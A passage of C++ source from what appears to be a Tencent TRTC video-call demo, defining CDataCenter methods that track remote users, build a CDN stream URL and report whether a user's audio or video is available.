// TODO: 在此处插入 return 语句
return m_beautyConfig;
}
RemoteUserInfo* CDataCenter::FindRemoteUser(std::string userId)
{
std::map<std::string, RemoteUserInfo>::iterator iter;
iter = m_remoteUser.find(userId);
if(iter != m_remoteUser.end())
{
return &iter->second;
}
return nullptr;
}
std::string CDataCenter::GetCdnUrl(const std::string & strUserId)
{
if (m_localInfo._bEnterRoom == false)
{
return "";
}
std::string strMixStreamId = format("%d_%d_%s_main", GenerateTestUserSig::SDKAPPID, m_localInfo._roomId, strUserId.c_str());
std::string strUrl = format("http://%d.liveplay.myqcloud.com/live/%s.flv", GenerateTestUserSig::BIZID, strMixStreamId.c_str());
return strUrl;
}
void CDataCenter::addRemoteUser(std::string userId, bool bClear)
{
std::map<std::string,RemoteUserInfo>::iterator iter;
iter = m_remoteUser.find(userId);
if(iter != m_remoteUser.end())
{
if(bClear)
m_remoteUser.erase(iter);
else
return;
}
RemoteUserInfo info;
info.user_id = userId;
m_remoteUser.insert(std::pair<std::string,RemoteUserInfo>(userId, info));
}
void CDataCenter::removeRemoteUser(std::string userId)
{
std::map<std::string, RemoteUserInfo>::iterator iter;//定义一个迭代指针iter
iter = m_remoteUser.find(userId);
if(iter != m_remoteUser.end())
{
m_remoteUser.erase(iter);
}
}
bool CDataCenter::getAudioAvaliable(std::string userId)
{
if (userId.compare(m_localInfo._userId) == 0)
{
return m_localInfo.publish_audio;
}
else
{
auto iter = m_remoteUser.find(userId);
if (iter != m_remoteUser.end())
{
return (iter->second.available_audio && iter->second.subscribe_audio);
}
}
return false;
}
bool CDataCenter::getVideoAvaliable(std::string userId, TRTCVideoStreamType type)
{
if (userId.compare(m_localInfo._userId) == 0)
{
return m_localInfo.publish_main_video;
}
else
{
auto iter = m_remoteUser.find(userId);
if (iter != m_remoteUser.end())
{
if (type == TRTCVideoStreamTypeSub)
{
return (iter->second.available_sub_video && iter->second.subscribe_sub_video);
}
else
{
return (iter->second.available_main_video && iter->second.subscribe_main_video);
}
}
}
return false;
} | {
"pile_set_name": "Github"
} |
Subsets and Splits
No community queries yet
The top public SQL queries from the community will appear here once available.